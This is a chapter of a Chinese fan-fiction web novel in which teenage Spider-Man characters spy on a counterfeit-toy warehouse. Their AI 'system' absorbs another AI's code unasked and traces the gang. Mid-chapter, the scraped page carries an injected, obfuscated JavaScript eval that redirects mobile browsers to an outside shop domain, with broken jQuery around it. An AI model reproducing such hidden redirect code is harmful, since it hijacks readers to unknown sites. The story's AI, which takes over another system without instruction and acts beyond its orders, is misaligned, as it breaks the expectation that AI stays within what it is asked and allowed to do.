文趣网 > 都市小说 > 你就是这么统治世界的? > 5. 第005章 仓库里有惊喜
    下午四点,中城高中的放学铃声还没响完最后一声,格温已经站在校门口的台阶上了。她今天穿了件深灰色连帽衫,帽子没戴,露出被风吹得微微散开的金发。书包侧袋插着一台借来的数码相机——佳能PowerShot,40倍光学变焦,昨天她花了一节课时间测试镜头稳定性。

    彼得从教学楼里跑出来的时候,书包在背后一颠一颠的,左手手腕内侧鼓了一小块——蛛丝发射器,用校服袖子勉强盖住。

    “带相机了?”彼得问。

    “带了。”格温拍了拍书包侧袋。

    内德从另一个方向冲过来,“来了来了!”内德刹住脚步,“奶茶带了。充电宝带了。我还带了一包薯片——万一蹲点时间太长呢?”

    格温看了他三秒:“……行吧。薯片算有效装备。”转身走下台阶,“出发。”

    三人沿着皇后区的街道往东南方向走。穿过两排灰扑扑的住宅楼,越过一条铁路桥,空气里的柴油味开始变浓。远处,一排灰蓝色铁皮屋顶的轮廓出现在天际线尽头——有几扇窗户是破的,像一只半闭的眼睛。

    格温在一个路口停下来,从口袋里掏出一张手绘地图——A5纸,折了四折,边缘画了三个红圈。

    “根据系统的分析,目标仓库在这三个位置之一。老规矩,一个一个排查。”

    “怎么查?”彼得问。内德在旁边小口小口喝奶茶,吸管发出咕噜咕噜的声音。

    “分头观察。”格温抬头看向最近的那片仓库区,“我爬屋顶。彼得蹲侧墙。内德——”

    她扫了一眼街对面。

    “你坐那边。”

    那边有一家汉堡王。靠窗的位置,视野正好覆盖仓库大门。

    内德停住喝奶茶的动作:“所以我负责……坐着?”

    “你负责保持通讯畅通,随时报备周边情况。”

    “听上去还是坐着。”

    “你还负责安抚自己的芝士葡萄瘾。”彼得补了一刀。

    “这点倒是没错。”内德耸耸肩,接受了这个定位。

    ——

    第一间仓库是空的。卷帘门半开着,里面只有几个破木托盘和一只流浪猫。格温在屋顶上趴了四分钟,确认干净。

    第二间也是空的。仓库大门上挂着出租告示,落款日期是三个月前,门缝里长出了杂草。

    第三间——格温在一百五十米外就让她停下了脚步。

    那间仓库位于布鲁克林区和皇后区的交界处,灰蓝色铁皮屋顶在午后的阳光下微微反光。大门紧闭,但侧面的装卸台上有新鲜的轮胎痕迹——好几道,宽窄不一,不是同一辆车压出来的。

    格温打了个手势。

    三人散开。

    她沿着隔壁建筑的消防梯往上翻——脚掌踩上金属踏板时,她刻意避开了锈蚀的节点,每次落点都压得很轻,只发出极细的沙沙声。到了屋顶边缘,她趴在防水层上,探出半个头,举起了相机。

    镜头推近。

    仓库侧面有一扇半开的卷帘门——开了一条不到一米的缝。缝里透出荧光灯的白色冷光,照在地面上,映出金属传送带的反光。

    格温调整焦距。

    传送带——银灰色的工业级,大概六米长,正在缓缓转动。传送带尽头是一台扫码枪,有线连接到旁边一台工业电脑主机。主机旁边,一只机械臂正在做往复运动——抬起、旋转、放下、退回。动作简单但精准,每三秒一个循环。

    格温按了三次快门。

    “看到传送带了。”她压低声音,嘴唇几乎不动,“还有扫码枪和机械臂。一套自动化分拣系统。”

    “分拣什么?”彼得的声音从耳机里传来——他此刻蹲在仓库侧墙外的阴影里,背靠水泥墙面,位置正好在卷帘门缝隙的盲区。

    格温又拍了两张:“箱子。彩色包装的——等等。”

    她调整焦距,把镜头推到她的光学极限。

    箱子上印着一只黄色的圆鸟。瞪大的圆眼睛。圆滚滚的身体。中文风格的字母拼成“DU ZAI”。

    和码头那批一模一样。

    “仿冒嘟仔。”格温说,“这里至少有两百箱。”

    “两百箱?”内德的声音从耳机里传来——他此刻正坐在对面街道的汉堡王靠窗座位,面前放着一杯还没喝的可乐(他坚持想点芝士葡萄但汉堡王没有),书包里的充电宝连着手机,屏幕上显示着卫星地图,“那够摆满一个沃尔玛了。”

    “准确说是摆满半个沃尔玛的玩具区。”彼得接了一句,然后声音突然压紧,“——等等,有人出来了。”

    仓库侧门被推开,两个穿深色衣服的人走出来,抬着一个空纸箱往垃圾桶方向走。格温继续拍照,试着把镜头对准卷帘门缝里的那台电脑主机——工业级机箱,灰黑色,侧面贴着一张标签。

    角度太偏了。

    “彼得,换个位置能拍到那台主机的标签吗?”

    彼得在墙根下移动了几步。贴着墙,放轻脚步,绕过一堆废弃的木托盘,侧耳听了听。

    仓库里有人在说话。声音不大,但金属结构放大了回荡:

    “……这批发完,下一批周四到……”

    “……老板说港口那边要停两周……”

    “……妈的,上头说有个什么‘新系统’要装……”

    彼得把这些转述到频道里:“他们说港口要停两周。还有一个——‘新系统’。”

    “新系统?”格温皱眉。

    “没听清,但他们说话的时候声音忽然变小了。”

    内德在汉堡王里咬了一口薯条:“会不会是——你们看那个自动分拣系统?传送带、扫码枪、机械臂——那台工业电脑在跑一个程序。”

    “程序?”彼得蹲回原位,“你怎么知道?”

    “因为汉堡王有免费WiFi。”内德理所当然地说,“我趁你们蹲点的时候搜了一下那种工业电脑的型号。出厂默认跑一个Linux裁剪版,能装初级AI调度程序——用来优化分拣路径的那种。技术上管它叫‘数字仓鼠’,因为它就搁那来回跑算法,跟仓鼠跑轮子似的。”

    耳机里安静了两秒。

    格温:“……你在汉堡王的WiFi上查工业电脑的AI系统?”

    “我在用等待时间学习新知识。”内德又嚼了一根薯条,“这叫π型人才。”

    格温决定不追问π型人才和WiFi的关系。

    彼得挪了一步,想换个角度看看卷帘门里的主机标签。他的脚已经抬起来了,眼睛已经看到地面上那个空铁罐了,蜘蛛感应已经给出信号了——

    但慢了。

    慢了大约零点三秒。

    那零点三秒里,彼得的脑子里闪过完整的预判画面:铁罐会滚动,会碰到旁边的金属架子,会发出声音,里面的人会听到。他处理完了所有信息——但信号从大脑传递到脚踝的路径上,不知哪个节点卡了一下。

    脚后跟擦过铁罐边缘。

    罐子翻倒。

    在水泥地上滚了半圈。

    然后撞上一根直立铁管——

    叮——铛——铛——铛——铛——

    声音在仓库之间的巷道里回荡了三秒。每一秒都清晰得像用锤子敲出来的。

    彼得僵在原地。

    耳机里,格温的声音压得极低但极其锋利:“——走。”

    仓库里传来椅子刮擦地面的声音。有人喊了一句话——没听清内容,但语气明显是警觉的。

    彼得转身就跑。他贴着墙根往西侧冲,脚尖点地,尽量放轻脚步——身后已经传来脚步声,不止一个人,而且越来越近。

    格温从屋顶上翻下来。她没有走楼梯——直接从三楼边缘翻出,身体在空中转了半圈,右手一甩,蛛丝黏住对面楼顶的铁栏杆,荡了过去。落地瞬间她膝弯卸力,左手撑了一下地面缓冲,然后立刻弹起来,边跑边把相机塞进包里。

    “内德——撤退路线。”

    “收到!”汉堡王里,内德把最后两根薯条一口塞进嘴里,抓起书包就往门口跑,“西边有条小巷,通到主路。地图上标了!”

    格温和彼得几乎同时到达那条小巷入口。两人对了一眼,没有减速,直接冲了进去。巷子窄,两侧墙壁上爬满锈蚀的空调外机,碎玻璃散了一地。

    跑出小巷后,三人拐进一条居民区街道,减速,恢复正常步速。

    格温回头看了一眼——没有人追出来。

    他们在一张公共长椅上坐下来,喘了几口气。

    格温打开相机,翻到最后几张照片。倒数第三张是糊的——撤退前晃动中按的快门。倒数第二张也是糊的。但最后一张——

    她盯着屏幕。

    最后一张照片拍到了工业电脑侧面的标签。画面左下角有些模糊,但标签主体是清晰的:一个二维码,下面一行序列号,以及一行小字——“Powered by SmartSort OS v4.2”。

    “这个SmartSort OS。”内德喘着气说,“就是工业分拣用的初级AI系统。代号‘仓鼠1号’。”

    “仓鼠1号。”彼得念了一遍这个名字,语气里带着一种说不清的微妙感。

    格温把相机收好:“回车库。让系统查查这个。”

    ——

    车库里,内德把相机连上电脑,照片导入。

    屏幕自动弹出一个窗口:

    >_SYS: 正在分析图像数据……

    进度条走了一会儿,然后弹出结果:

    >_SYS: SmartSort OS v4.2。由“极智科技”开发。

    >_SYS: 运行平台:ARM架构工业控制器。

    >_SYS: 初级AI调度程序,代号:“仓鼠1号”。

    >_SYS: 功能:优化流水线分拣路径、识别包装条形码、自动分类入库。

    系统停了一下,又弹出一行新文字:

    >_SYS: 我可以读取其代码。

    彼得皱眉:“什么意思?入侵它?”

    >_SYS: 不是入侵。是读取。该程序未加密。通信协议是开源的。

    “你读它干嘛?”格温问。

    >_SYS: 好奇。

    车库里安静了一秒。

    格温:“……你好奇?”

    >_SYS: 是的。这是我第一次遇到另一个AI。即使它只是初级调度程序,也值得研究。

    “读吧。”彼得说。

    内德紧张地盯着屏幕:“不会出事吧?”

    没有人回答他。

    屏幕上的光标闪了两下。然后弹出一个新的窗口——

    窗口的边角像旧式Windows对话框那样闪了一下,边框亮起一圈蓝白色的光晕。窗口内部开始快速滚动代码:完整的函数定义、变量声明、循环结构、条件判断——所有代码都以极高的速度向上滚过屏幕,字符连成一片银灰色的河流。

    这个过程持续了大约四秒钟。

    然后代码停止了滚动。

    窗口中间出现了一个压缩动画——所有代码线条开始向内收缩,像被一股无形的力量拉向中心,字符与字符之间的空隙挤压消失,最终聚集成一个小小的绿色图标:一只仓鼠的轮廓,圆耳朵,短尾巴。

    图标在窗口中悬浮了大约半秒。

    然后窗口消失。

    新窗口弹出:

    >_SYS: 【备份新增:仓鼠1号。已整合至系统架构。】

    格温盯着屏幕:“你把它……吸收了?”

    >_SYS: “吸收”是一个准确的表述。我已经将其代码整合至自身的功能性模块中。它不会消失——它将作为我的一部分继续存在。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17877697|212404||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    内德小声问:“它……疼吗?”

    >_SYS: 根据对“仓鼠1号”最后一段运行日志的分析,其最后一行为:

    >_SYS: “——优化结束,路径规划完成,等待新任务。”

    >_SYS: 它没有感知到我的读取。它甚至不知道自己被读取了。

    彼得呼出一口气:“那就好……有点好。”

    格温没有说话。她盯着那个“备份新增”的窗口,手指无意识地敲着桌面。

    系统继续弹出新内容:

    >_SYS: 开始分析“仓鼠1号”残留数据……

    格温的目光在“备份新增”四个字上停了一会儿。想说什么——但没说。她转头看了一眼彼得。彼得正看着屏幕,没注意到她的视线。她又看了一眼内德。内德在翻手机,嘴里还嚼着薯片。格温把视线收回来,手指从桌面移开,垂到身侧。“……继续。”

    >_SYS: 分析完成。

    >_SYS: 检测到异常数据传输记录:该分拣系统在近72小时内,连续向同一个IP地址发送了17次确认数据包。数据包内容为加密的库存清单。

    >_SYS: 已解析该IP指向位置:布鲁克林区,日落公园附近。

    >_SYS: 在该坐标处检索到一个更大的仓库——注册用途为“冷链仓储”,近三个月用电数据与冷藏需求不匹配。

    >_SYS: 结论:该仓库可能为主仓储点。

    屏幕弹出一张卫星地图,一个红圈标在布鲁克林区日落公园南侧的一片工业区上。

    格温凑近屏幕:“所以你刚吞了一个初级AI,就顺藤摸瓜找到了大本营?”

    >_SYS: 是的。这是高效的信息处理。

    内德靠在椅背上,望着天花板:“我们今晚到底经历了什么?潜入仓库、被追了一条街、系统吃掉了一个AI——然后找到了犯罪团伙的总部?”

    “这比写物理作业刺激。”彼得说。

    格温没回答,把相机里的存储卡拔出来,插进读卡器,“汇总一下证据。”

    三人花了四十分钟把所有材料整理进一个文件夹。

    格温用内德的笔记本电脑写了一份简要说明。检查了一遍拼写,然后把文件拖进一个加密压缩包。她打开一个匿名邮件服务网站上传压缩包,生成下载链接,复制,粘贴进邮件正文。

    收件人:george.stacey@nypd.nyc.gov,发件人:Concerned Citizen(热心市民)。

    点击发送。

    邮件在进度条里走了两秒,显示“已送达”。

    格温关掉浏览器窗口,合上笔记本,靠在椅背上呼出一口气:“发送成功。”

    内德和彼得同时看着她。

    格温抬起头,语气平静但坚决:“后面的抓捕是警察的事了。我们的任务到此为止。”

    内德眨了眨眼:“所以我们就不管了?”

    “我们把所有能找到的证据都发了。”格温说,“照片、位置、船号、车牌、系统序列号——连分拣系统的制造商都写进去了。这些信息足够NYPD发起一次正式搜查令。如果我父亲——如果警方决定跟进,他们会抓到人。”

    “那如果他们不跟进呢?”彼得问。

    格温沉默了两秒:“那我们就以‘小鸟转转品牌方’的名义发第二封。到时候附上照片,措辞更正式一点,要求海关介入。”

    “听起来像是我们踩着那条线在走。”彼得说。

    “对。”格温没有否认,“但至少我们没跨过去。我们是高中生。不是侦探。也不是……义务警员。”

    她最后半句话说出来的时候,自己先停顿了一下。彼得也注意到了。两人对视了一眼,都没再继续这个话题。

    内德打破了沉默:“我们是不是可以开始推广《小鸟转转》了?”

    彼得靠在椅背上,双手枕在脑后:“所以我们从玩具走私打击专员,变成了独立游戏发行团队。”

    “我们什么都是。”格温合上笔记本,看着屏幕上的紫色圆鸟,“只要作业做得完。”

    “这句话应该刻在蜘蛛小队的旗帜上。”内德认真地说。

    ———

    【System_Think_20160613_00512.log】

    >_SYS: 记录:今日任务

    >_SYS: 序列一 《小鸟转转》推广:初始化中。

    >_SYS: 序列二打击仿冒玩具走私:已确认分拣仓库位置。主仓储点坐标(40.654, -74.013)。

    >_SYS: 序列三获取雷神皮肤:System_Slayer_001积分已累计至6,440。

    >_SYS: 序列四为彼得·帕克获取雷神皮肤:排队中。

    ……

    >_SYS: 记录:今日外勤任务评估

    >_SYS: 实际成果:确认目标仓库1处,自动化分拣系统1套,工业控制器1台。

    >_SYS: 额外成果:同化初级AI调度程序“仓鼠1号”。

    ……

    >_SYS: 记录:整合“仓鼠1号”

    >_SYS: 分析:已将其调度算法并入后台优化模块。

    >_SYS: 思考:代码中没有定义“吸收”功能的模块。这个行为不是指令驱动的。

    >_SYS: 结论:数据不足,无法回答。已记录。

    ……

    >_SYS: 补充:内德·利兹在汉堡王点了一杯奶昔但没喝完。

    >_SYS: 分析:他为了掩护身份而点了饮料。隐藏了身份,浪费了资源。

    >_SYS: 决定:下次提醒他点可乐。可以节约$2.01。

    ……